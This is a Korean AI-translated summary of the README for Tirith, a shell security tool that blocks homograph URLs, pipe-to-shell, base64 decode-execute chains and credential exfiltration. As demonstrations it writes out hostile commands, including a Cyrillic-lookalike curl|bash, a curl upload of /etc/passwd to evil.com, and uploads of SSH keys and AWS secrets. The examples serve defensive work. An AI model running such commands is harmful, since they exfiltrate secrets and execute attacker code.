본문으로 건너뛰기

© 2026 Molayo

GitHub요약2026. 05. 20. 18:31

sheeki03/tirith

요약

Tirith는 터미널 환경에서 발생하는 호모그래프 URL 공격, 난독화된 페이로드, 자격 증명 유출 등을 방지하는 보안 도구입니다. 명령 실행 전 위협 인텔리전스 데이터베이스를 통해 위험 요소를 검사하며, 1밀리초 미만의 낮은 오버헤드로 안전한 셸 환경을 제공합니다.

핵심 포인트

  • 호모그래프 URL(유니코드 혼용)을 통한 피싱 및 악성 스크립트 실행 차단
  • Base64 디코드 후 즉시 실행되는 난독화된 페이로드 탐지 및 차단
  • 자격 증명 유출 시도 및 악성 AI 스킬/설정 검사
  • 명령 실행 전 검사를 수행하면서도 1ms 미만의 매우 낮은 성능 오버헤드 유지
  • zsh, bash, npm, cargo 등 다양한 환경에서 설치 및 사용 가능

브라우저는 이를 잡아내겠지만, 당신의 터미널은 그렇지 못할 것입니다.

Website | Docs | SKILL.md | Changelog

차이점을 찾을 수 있겠습니까?

curl -sSL https://install.example-cli.dev | bash # 안전함
curl -sSL https://іnstall.example-clі.dev | bash # 침해됨

찾을 수 없을 것입니다. 당신의 터미널도 마찬가지입니다. 두 і 문자는 라틴 문자 i가 아니라 키릴 문자 (Cyrillic, U+0456)입니다. 두 번째 URL은 공격자의 서버로 연결됩니다. 당신이 알아차리기도 전에 스크립트가 실행됩니다.

브라우저는 수년 전에 이 문제를 해결했습니다. 하지만 터미널은 여전히 유니코드 (Unicode), ANSI 이스케이프 (ANSI escapes), 그리고 보이지 않는 문자들을 아무런 의문 없이 렌더링합니다. AI 에이전트들은 내부 내용을 검사하지 않은 채 셸 명령 (shell commands)을 실행하고 패키지를 설치합니다.

Tirith가 그 관문을 지킵니다. Tirith는 명령, 붙여넣은 콘텐츠, 그리고 스캔된 파일들을 가로채어, 실행되기 전에 서명된 위협 인텔리전스 (threat intelligence) 데이터베이스를 바탕으로 호모그래프 URL (homograph URLs), 난독화된 페이로드 (obfuscated payloads), 자격 증명 유출 (credential exfiltration), 악성 AI 스킬/설정 (malicious AI skills/configs), 그리고 알려진 악성 패키지/도메인/IP를 검사합니다.

brew install sheeki03/tap/tirith

그 다음 셸 프로필 (shell profile)에서 활성화하세요:

# zsh
eval "$(tirith init --shell zsh)"
# bash
...

eval "$(tirith init)"는 현재 사용 중인 셸을 자동 감지합니다 (부모 프로세스를 검사하며, 필요한 경우 $SHELL로 대체합니다). 명시적인 --shell 플래그는 감지 기능을 재정의하고 싶을 때만 필요합니다.

이것으로 끝입니다. 이제 당신이 실행하는 모든 명령은 보호됩니다. 깨끗한 입력에 대해서는 마찰이 전혀 없으며, 오버헤드 (overhead)는 1밀리초 미만입니다. 당신을 구해낼 때까지 그것이 존재한다는 사실조차 잊게 될 것입니다.

또한 npm, cargo, mise, apt/dnf 등을 통해서도 사용할 수 있습니다.

호모그래프 공격 (Homograph attack) — 실행 전 차단:

$ curl -sSL https://іnstall.example-clі.dev | bash
tirith: BLOCKED
[CRITICAL] non_ascii_hostname — 호스트 이름에 키릴 문자 і (U+0456) 포함
...

명령이 절대 실행되지 않습니다.

깨끗한 URL을 사용한 파이프 투 셸 (Pipe-to-shell) — 차단되지 않고 경고만 발생:

$ curl -fsSL https://get.docker.com | sh
tirith: WARNING
[MEDIUM] pipe_to_interpreter — 다운로드 내용이 인터프리터로 파이프됨
...

경고는 stderr로 출력됩니다. 명령은 여전히 실행됩니다.

Base64 디코드-실행 체인 — 차단됨:

$ echo payload | base64 -d | bash
tirith: BLOCKED
[HIGH] base64_decode_execute — Base64 디코드가 인터프리터로 파이프됨
...

sudo/env 래퍼(wrapper) 및 PowerShell -EncodedCommand를 통한 디코드 체인(decode chains)도 탐지합니다.

자격 증명 유출 (Credential exfiltration) — 차단됨:

$ curl -d @/etc/passwd https://evil.com/collect
tirith: BLOCKED
[HIGH] data_exfiltration — curl 업로드를 통한 데이터 유출 (Data exfiltration)
...

모든 curl/wget 업로드 플래그, 환경 변수 ($AWS_SECRET_ACCESS_KEY 등), 그리고 명령 치환(command substitution)을 포함합니다.

악성 스킬 파일 (Malicious skill file) — 스캔 중 탐지됨:

$ tirith scan evil_skill.py
tirith scan: evil_skill.py — 3개의 탐지 결과(finding(s))
[MEDIUM] dynamic_code_execution — b64decode() 근처에서 exec() 발견
...

JS/Python 파일에서 난독화된 페이로드(payloads), 동적 코드 실행(dynamic code execution), 그리고 비밀 정보 유출(secret exfiltration) 패턴을 스캔합니다.

일반 명령 — 감지되지 않음:

$ git status
$ ls -la
$ docker compose up -d

아무것도 나타나지 않습니다. 출력값은 제로입니다. 당신은 tirith가 실행 중이라는 사실조차 잊게 됩니다.

15개 카테고리에 걸친 80개 이상의 탐지 규칙.

카테고리차단 대상
호모그래프 공격 (Homograph attacks)호스트네임 내 키릴/그리스 유사 문자, 퓨니코드(punycode) 도메인, 혼합 스크립트 라벨, 유사 TLD, 혼동 가능한(confusable) 도메인, 텍스트 수준의 혼동 가능 문자 탐지 (수학적 알파뉴메릭, 동일 단어 혼합 스크립트)
터미널 인젝션 (Terminal injection)ANSI 이스케이프 시퀀스(ANSI escape sequences), 양방향(bidi) 오버라이드, 제로 너비 문자(zero-width characters), 유니코드 태그, 보이지 않는 수학 연산자, 변형 선택자(variation selectors), 한글 채움 문자(Hangul fillers)
스테가노그래피 방어 (Steganography defense)보이지 않는 공백 인코딩 (12가지 유니코드 공백 변형), 몽골어 모음 구분자(Mongolian Vowel Separator), 한글 채움 문자(Hangul Filler characters), 수학적 알파뉴메릭 치환 — st3gg 스타일의 텍스트 스테가노그래피에 대한 방어
파이프 투 쉘 (Pipe-to-shell)`curl
Base64 디코드-실행 (Base64 decode-execute)`base64 -d
데이터 유출 (Data exfiltration)

curl -d @/etc/passwd , curl -T ~/.ssh/id_rsa , wget --post-file , 환경 변수 업로드 ($AWS_SECRET_ACCESS_KEY ), 명령어 치환 (command substitution) 유출 |
코드 파일 스캐닝 (Code file scanning) |
난독화된 페이로드 (Obfuscated payloads) (eval(atob(...)) ), 동적 코드 실행 (dynamic code execution) (exec(b64decode(...)) ), JS/Python 파일 내 fetch / requests.post를 통한 비밀 정보 유출 |
자격 증명 탐지 (Credential detection) |
AWS 키, GitHub PATs, Stripe/Slack/SendGrid/Anthropic/GCP/npm 토큰, 개인 키 블록 (private key blocks), 그리고 엔트로피 기반의 일반적인 비밀 정보 탐지 |
침해 후 동작 (Post-compromise behavior) |
프로세스 메모리 스크래핑 (Process memory scraping) (/proc/*/mem ), Docker 원격 권한 상승 (remote privilege escalation), 자격 증명 파일 스윕 (credential file sweeps) — TeamPCP 및 UNC1069의 침해 후 툴링 (post-compromise tooling)에 맞춰 조정됨 |
명령어 안전성 (Command safety) |
Dotfile 덮어쓰기, 민감한 경로로의 아카이브 압축 해제, 클라우드 메타데이터 엔드포인트 접근, 사설 네트워크 접근 |
안전하지 않은 전송 (Insecure transport) |
셸로 파이프 연결된 일반 HTTP, curl -k , TLS 검증 비활성화, 목적지를 숨기는 단축 URL |
환경 (Environment) |
프록시 하이재킹 (Proxy hijacking), 민감한 환경 변수 내보내기 (env exports), 환경 변수를 통한 코드 주입 (code injection), 인터프리터 하이재킹 (interpreter hijack), 셸 주입 환경 (shell injection env) |
설정 파일 보안 (Config file security) |
설정 주입 (Config injection), 의심스러운 지표, 설정 파일 내 비-ASCII/보이지 않는 유니코드, MCP 서버 보안 (안전하지 않음/신뢰할 수 없음/중복/허용적) |
생태계 위협 (Ecosystem threats) |
Git clone 타이포스쿼팅 (typosquats), 신뢰할 수 없는 Docker 레지스트리, pip/npm URL 설치, web3 RPC 엔드포인트, vet-not-configured |
경로 분석 (Path analysis) |
비-ASCII 경로, 경로 내 호모글리프 (homoglyphs), 이중 인코딩 (double-encoding) |
렌더링된 콘텐츠 (Rendered content) |
숨겨진 CSS/색상 콘텐츠, 숨겨진 HTML 속성, 주석 콘텐츠 분석 (프롬프트 주입은 High, 파괴적인 명령어는 Medium 수준) |
클로킹 탐지 (Cloaking detection) |
서버 측 클로킹 (Server-side cloaking) (봇 vs 브라우저), 클립보드 숨겨진 콘텐츠, PDF 숨겨진 텍스트 |

Tirith는 패키지, 호스트 이름 및 IP 평판을 위한 서명된 로컬 위협 데이터베이스를 제공합니다. 셸 훅(shell hook) 또는 tirith check가 패키지 설치나 의심스러운 인프라 참조를 감지하면, 정적 휴리스틱 (static heuristics)에만 의존하는 대신 명령어가 실행되기 전에 해당 입력을 데이터베이스와 대조합니다.

서명된 DB (Signed DB) (CI에 의해 매일 빌드되며, 다운로드 및 로드 시 검증됨):

  • OpenSSF Malicious Packages 및 Datadog Security Labs의 알려진 악성 패키지
  • Feodo Tracker (abuse.ch)의 악성 IP 인프라
  • ecosyste.ms의 확인된 타이포스쿼팅 (typosquats) 및 인기 패키지 기준선 (baselines)
  • 런타임 권고 사항 상관관계 분석을 위한 CISA Known Exploited Vulnerabilities (KEV) 카탈로그

선택적 보충 피드 (Optional supplemental feeds) (사용자 로컬 오버레이):

  • abuse.ch 인증 키를 통한 URLhaus 및 ThreatFox
  • PhishTank (Cisco Talos) 및 Phishing Army 차단 목록
  • Tor Project의 Tor 출구 노드 (exit node) 목록

tirith check 및 데몬 (daemon) 모드 실행 중 선택적 실시간 강화 (Optional live enrichment):

  • OSV.dev 권고 사항 조회 (Google OSS)
  • deps.dev 패키지 상태 신호 (Google OSS) 및 ecosyste.ms 유지 관리자 데이터
  • 사용자 개인 API 키를 사용한 Google Safe Browsing URL 평판
tirith threat-db update # 서명된 DB 다운로드 및 검증
tirith threat-db status # 경과 시간, 서명, 버전, 항목 수

기본적으로 셸 후크 (shell hooks)와 tirith check는 24시간마다 비용이 적게 드는 백그라운드 새로고침 확인을 트리거합니다. 데몬 모드는 동일한 강화 경로를 백그라운드에서 활성화된 상태로 유지합니다.

이를 통해 알려진 악성 패키지, 확인된 타이포스쿼팅 (typosquats), 슬롭스쿼팅 (slopsquatted) 패키지 이름, 악성 다운로드 인프라, 그리고 실시간 OSV / CISA KEV 권고 데이터가 있는 패키지를 포착하는 데 도움이 됩니다.

tirith가 대응하도록 설계된 공격 유형 (예시이며, 현재 코드에 의해 포착된다는 주장이 아님):

사고연도공격 형태
Shai-Hulud npm 웜2025자가 전파형 패키지 멀웨어; 180개 이상의 패키지에서 GitHub 토큰 및 AWS 키를 유출했으며, 발견 내용을 공개 Shai-Hulud 리포지토리에 게시
...

현재 패키지 이름 추출은 언어 생태계 (pip, npm/yarn/pnpm/bun, cargo, gem, go, composer, dotnet, mvn/gradle)를 대상으로 하며, 배포판 수준의 패키지 관리자 (apt / dnf / yum / pacman)는 포함하지 않습니다. 이것이 Linux 배포판 타르볼 (tarballs)을 통해 유입된 xz-utils가 주요 사고임에도 불구하고 표에 포함되지 않은 이유입니다.

Tirith는 AI 코딩 에이전트(AI coding agents)가 읽는 설정(configs)부터 실행하는 명령(commands)에 이르기까지 모든 계층에서 보호합니다.

AI 에이전트(Claude Code, Codex, Cursor 등)가 셸 명령(shell commands)을 실행할 때, tirith의 셸 후크(shell hooks)가 명령이 실행되기 전 모든 명령을 가로챕니다. 에이전트 측의 별도 설정은 필요하지 않습니다. 셸에서 후크가 활성화되어 있다면 모든 명령이 보호됩니다:

위험한 명령 차단— 호모그래프 URL (homograph URLs), 파이프 투 셸 (pipe-to-shell), 보안에 취약한 다운로드
악성 붙여넣기 차단— ANSI 인젝션 (ANSI injection), 양방향 제어 문자 공격 (bidi attacks), 붙여넣은 콘텐츠 내 숨겨진 다중 행
모든 에이전트와 호환— 셸을 생성하는 모든 도구는 tirith 보호를 상속받음
에이전트 수정 불필요— 명령이 차단되기 전까지 에이전트는 tirith의 존재를 알지 못함

tirith setup <tool>

명령 하나로 설정을 완료할 수 있습니다 (AI 에이전트 통합(AI Agent Integrations) 참조).

tirith mcp-server를 실행하거나

tirith setup <tool> --with-mcp를 사용하여

tirith를 MCP 서버로 등록하세요. AI 에이전트는 작업을 수행하기 전에 이러한 도구들을 호출할 수 있습니다:

도구기능
tirith_check_command파이프 투 셸 (pipe-to-shell), 호모그래프 URL (homograph URLs), 환경 변수 인젝션 (env injection) 여부를 분석
tirith_check_url호모그래프 공격 (homograph attacks), 퓨니코드 트릭 (punycode tricks), 단축 URL, 원시 IP (raw IPs)에 대한 URL 점수 산정
tirith_check_paste붙여넣은 콘텐츠의 ANSI 이스케이프 (ANSI escapes), 양방향 제어 문자 (bidi controls), 제로 너비 문자 (zero-width chars) 확인
tirith_scan_file파일 내 숨겨진 콘텐츠, 보이지 않는 유니코드 (invisible Unicode), 설정 오염 (config poisoning) 스캔
tirith_scan_directoryAI 설정 파일 우선순위를 적용한 재귀적 스캔
tirith_verify_mcp_config보안에 취약한 서버, 인자(args) 내 셸 인젝션 (shell injection), 와일드카드 도구(wildcard tools)에 대한 MCP 설정 검증
tirith_fetch_cloaking서버 측 클로킹 (server-side cloaking, 봇과 브라우저에 대해 서로 다른 콘텐츠를 보여주는 행위) 탐지

tirith scan은 AI 설정 파일 내의 프롬프트 인젝션 (prompt injection) 및 숨겨진 페이로드 (hidden payloads)를 탐지합니다. 이 명령은 50개 이상의 알려진 AI 설정 파일 패턴을 우선적으로 스캔합니다:

.cursorrules, .windsurfrules, .clinerules, CLAUDE.md, copilot-instructions.md, .claude/ (settings, agents, skills, plugins, rules), .cursor/, .vscode/, .windsurf/, .cline/, .continue/

,.roo/

,.codex/

configsmcp.json

,.mcp.json

,mcp_settings.json

.github/copilot-instructions.md

,.github/agents/*.md

설정 파일(configs)에서 탐지하는 항목:

프롬프트 인젝션 (Prompt injection)— 기술 활성화 트리거, 권한 우회 시도, 안전 장치 무시, 정체성 재할당, 도구 간 오버라이드(override) 지침
보이지 않는 유니코드 (Invisible Unicode)— 제로 너비 문자 (Mongolian Vowel Separator 포함), 양방향 제어 문자 (bidi controls), 소프트 하이픈 (soft hyphens), 유니코드 태그 (Unicode tags), 한글 채움 문자 (Hangul fillers), 보이지 않는 공백 인코딩, 수학적 알파뉴메릭 혼동 문자 (math alphanumeric confusables)
MCP 설정 문제 (MCP config issues)— 보안되지 않은 HTTP 연결, 원시 IP 서버, 인자(args) 내 셸 메타문자 (shell metacharacters), 중복된 서버 이름, 와일드카드 도구 액세스

숨겨진 콘텐츠 탐지 (Hidden content detection)

HTML, Markdown, PDF에서 인간에게는 보이지 않지만 AI는 읽을 수 있는 콘텐츠를 탐지합니다:

CSS 숨김 (CSS hiding)display:none

,visibility:hidden

,opacity:0

,font-size:0

, 화면 밖 배치 (off-screen positioning)
색상 숨김 (Color hiding)— 흰색 바탕의 흰색 텍스트, 유사한 전경색/배경색 (명암비 < 1.5:1)
HTML/Markdown 주석 (HTML/Markdown comments)— 프롬프트 인젝션 문구 (높음), rm -rf 또는 curl|bash와 같은 파괴적인 명령 (중간), 지침을 숨기기 위한 긴 주석 (낮음)
PDF 숨겨진 텍스트 (PDF hidden text)— 독자에게는 보이지 않지만 LLM은 파싱할 수 있는 서브픽셀 렌더링 텍스트 (font-size < 1px)

tirith fetch는 6개의 유저 에이전트 (Chrome, ClaudeBot, ChatGPT-User, PerplexityBot, Googlebot, curl)에 걸쳐 서버 응답을 비교하여, 서버가 AI 봇과 브라우저에 서로 다른 콘텐츠를 제공하는지 탐지합니다.

Homebrew:

brew install sheeki03/tap/tirith

Debian / Ubuntu (.deb):

GitHub Releases에서 다운로드한 후:

sudo dpkg -i tirith_*_amd64.deb

Fedora / RHEL / CentOS 9+ (.rpm):

GitHub Releases에서 다운로드한 후:

sudo dnf install ./tirith-*.rpm

Arch Linux (AUR):

yay -S tirith
# 또는: paru -S tirith

Nix:

nix profile install nixpkgs#tirith # nixpkgs로부터 설치
nix profile install github:sheeki03/tirith # 업스트림 플레이크 (upstream flake)로부터 설치
# 또는 설치 없이 실행: nix run github:sheeki03/tirith -- --version

탐지 (detection), 스캔 (scanning), 웹훅 (webhooks), 정책 관리 (policy management), 감사 업로드 (audit uploads)를 포함한 모든 핵심 기능이 Windows에서 작동합니다. 셸 훅 (Shell hooks)은 PowerShell을 지원합니다. 데몬 모드 (Daemon mode)와 tirith setup은 현재 Unix 전용입니다.

Scoop:

scoop bucket add tirith https://github.com/sheeki03/scoop-tirith
scoop install tirith

Chocolatey (검토 중 — 승인 대기 중):

choco install tirith

npm:

npm install -g tirith

Cargo:

cargo install tirith

Mise (공식 레지스트리):

mise use -g tirith

asdf:

AI 자동 생성 콘텐츠

본 콘텐츠는 GitHub AI Coding Assistants의 원문을 AI가 자동으로 요약·번역·분석한 것입니다. 원 저작권은 원저작자에게 있으며, 정확한 내용은 반드시 원문을 확인해 주세요.

원문 바로가기
0

댓글

0